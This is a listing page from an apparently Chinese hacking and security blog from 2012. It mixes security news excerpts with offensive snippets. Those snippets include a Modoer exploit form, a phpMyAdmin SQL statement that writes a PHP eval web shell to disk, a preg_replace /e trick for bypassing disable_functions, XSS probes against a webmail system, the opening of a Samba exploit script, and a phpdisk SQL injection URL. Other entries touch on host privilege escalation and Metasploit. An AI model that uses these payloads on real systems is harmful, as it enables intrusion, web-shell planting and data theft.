北京网安破百度660个推广账号被篡改案

在线版： function expstart() { var url = document.forms[0].url.value; if(url != ""){ if(url.search("http://") Modoer EXP url: 源码： <html> <head> <title> Modoer EXP </title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <script language="javascript"> function expstart() { var url = document.forms[0].url.value; if(url != ""){ if(url.search("http://") < 0 && url.search("https://") < 0){ url = "http://" + url; } document.submit_url.action = url + "/item.php?act=ajax&op=get_membereffect&do=subject"; }else{ alert("Hello Hacker!!!"); } } </script> <body>

阅读全文

zkysoft 主机提权方法

2012-09-26

老系统内容提权

约 336 字预计阅读 1 分钟

zkeys 默认网站用户权限很低，大部分exp都用不了，如 iis6 exp 就提示无法设置注册表。提供我成功过的几个方法（不一定有效）： 1、如果目标仅仅是旁站的话可

阅读全文

phpmyadmin 导出 shell 至中文路径

2012-09-26

老系统内容 PHP Shell

约 34 字预计阅读 1 分钟

set character_set_client='gbk'; set character_set_connection='gbk'; set character_set_database='gbk'; set character_set_results='gbk'; set character_set_server='gbk'; select '<?php eval($_POST[cmd]);?>' into outfile 'd:\www\网站\mm.php';

阅读全文

视频:神奇的读心大师网上有你的整个人生利用社工+人肉来做神棍……

2012-09-26

老系统内容人肉社工视频

约 215 字预计阅读 1 分钟

网上有你的整个人生 - Your entire life is online 利用社工+人肉来做神棍…… 原始视频地址：http://www.youtube.com/watch?v=F7pY

阅读全文

法国政府约谈Facebook称泄漏用户个人隐私

2012-09-26

老系统内容 Facebook 泄漏

约 445 字预计阅读 1 分钟

北京时间9月25日消息，法国国家信息自由委员会(CNIL)周二召见了Facebook公司在法国的高层管理人员，原因是有些法国用户投诉Face

阅读全文

Google巴西分公司主管未删视频被逮捕

2012-09-26

老系统内容 Google 视频

约 314 字预计阅读 1 分钟

北京时间9月26日消息，据巴西媒体报道，Google巴西分公司主管法比奥已经被当地法院批准逮捕，原因是Google未能从YouTube网站上

阅读全文

一邮箱跨站讨论

2012-09-25

老系统内容跨站讨论邮箱

约 689 字预计阅读 2 分钟

"extmail 领立斯" 传送门 http://www.wooyun.org/bugs/wooyun-2012-04854 最近在测试这个东东 1. 附件名称处 a:空格过滤 <img src=a onerror=""> 执行不鸟 b:/ 直接截断前面的&

阅读全文

[Python] samba 0day

2012-09-25

老系统内容 0day Python

约 699 字预计阅读 2 分钟

By: a guest on Sep 24th, 2012 | syntax: Python | size: 6.92 KB | hits: 3,930 | expires: Never #!/usr/bin/python # # finding targets 4 31337z: # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1' # -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the

阅读全文

php的disabled function禁用成这个程度了，还有解么

2012-09-25

老系统内容 PHP

约 565 字预计阅读 2 分钟

disable_functions:phpinfo,passthru,system,chroot,scandir,chgrp,shell_exec,proc_open,proc_get_status,ini_after,ini_after,ini_restore,dl,pfsockopen,openlog,sysl,exec,chmod,file_put_contents 木易木兆 (烧死异性恋！！！！！！！！！) | 2012-09-24 10:09 preg_replace即可 <?php preg_replace("/test/e",$_GET["h"],"jutst test"); ?> xsjswt | 2012-09-24 10:23 @木易木兆亲，不是执行php命令，是想执行系统命

阅读全文

十一黄金周钓鱼网站常以优惠做诈骗噱头

2012-09-25

老系统内容钓鱼骗网站诈骗

约 572 字预计阅读 2 分钟

零元、低价、特惠和抽奖等等活动也成为了大批钓鱼网站欺诈的噱头。临近十一黄金周，各大电商网站摩拳擦掌，推出各种促销优惠活动抢占市场，无论是旅游

阅读全文

阿拉伯黑客组团攻击西方网站抗议侮伊斯兰先知电影

2012-09-25

老系统内容攻击黑客网站

约 405 字预计阅读 1 分钟

原标题：阿拉伯黑客组团攻击西方网站抗议侮伊斯兰先知电影国际在线专稿：据《朝鲜日报》9月24日报道，近日，对诋毁伊斯兰教创始人、先知穆罕默德的

阅读全文

高校机器人大赛首次机器人主持

2012-09-24

老系统内容

约 1206 字预计阅读 3 分钟

机器人足球赛现场。本报记者戴冰摄本报记者王东亮 “大家好！非常荣幸主办方选择我做机器人大赛的主持人！”悦耳的声音中，美女“莉莉”款款而至，竟是

阅读全文

9月钓鱼网站环比增两成

2012-09-24

老系统内容钓鱼网站

约 820 字预计阅读 2 分钟

本报讯（记者刘宇鑫）针对即将到来的“8天黄金周”，各大电商网站纷纷推出各种优惠促销活动来抢占市场。同时，网民遭遇的钓鱼网站也开始增加，“零元

阅读全文

苹果不做自己的地图应用或酿造更大的错误

2012-09-24

老系统内容地图苹果

约 804 字预计阅读 2 分钟

9月24日消息，据国外媒体报道，数年来，用户们一直在为谷歌的地图数据库“喂食”大量的地理信息，人们在谷歌地图上搜索地理位置，分享个人坐标，查

阅读全文

12306 与“外包”的故事

2012-09-23

老系统内容

约 1012 字预计阅读 3 分钟

【什么叫“外包”？】国家拨1.9亿给铁道部做网络售票网站，铁道部用其中1000万找一个大型软件公司做，大型软件公司用其中500万找个小公司做

阅读全文

大量新闻门户网站被黑被植入非法赌博网站关键词篡改百度首页时事热点

2012-09-23

老系统内容百度赌博热点网站新闻

约 1902 字预计阅读 4 分钟

Nuclear'Atk 网络安全研究中心独家首发，三秦都市报、中国经商网、搜狐新闻等大量门户新闻网站被黑，并被用来发布虚假新闻、植入非法赌博、博彩网站关键词，进行

阅读全文

iPhone 4S 宣告被黑可获取照片和联系人

2012-09-23

老系统内容 IP iPhone

约 225 字预计阅读 1 分钟

苹果iOS系统和设备的一直很安全，当然这只是相对而言，这并不意味着iOS设备是坚不可破的。在Pwn2Own黑客大赛上，两位大神（Joost&

阅读全文

搞笑诺奖颁发观众笑出眼泪

2012-09-23

老系统内容

约 1434 字预计阅读 3 分钟

本报记者章咪佳本报通讯员陈逸舟晕了？亮瞎了？以往正经八百的科研都弱爆了。是的，这绝对是另类科学！北京时间9月21日早上7：30，第22个“第

阅读全文

在 iPhone 4s 和 iPad 2 上安装 Metasploit

2012-09-22

老系统内容 ASP IP iPhone

约 349 字预计阅读 1 分钟

安装方法是之前在Facebook上看到的，大概翻译下。我知道大家都懂的＝＝首先肯定是越狱，一键的Absinthe。网上到处都有。然后安装ap

阅读全文

phpdisk 老漏洞新用法以及后台拿SHELL办法

2012-09-22

老系统内容 PHP Shell 后台漏洞

约 722 字预计阅读 2 分钟

以前暴出过通杀0DAY 代码如下 /api/datacall.php?type=user&limit=1&order=1 and(select 1 from(select count(*),concat((select (select (select concat(0×27,0x7e,pd_users.username,0×27,0x7e,pd_

阅读全文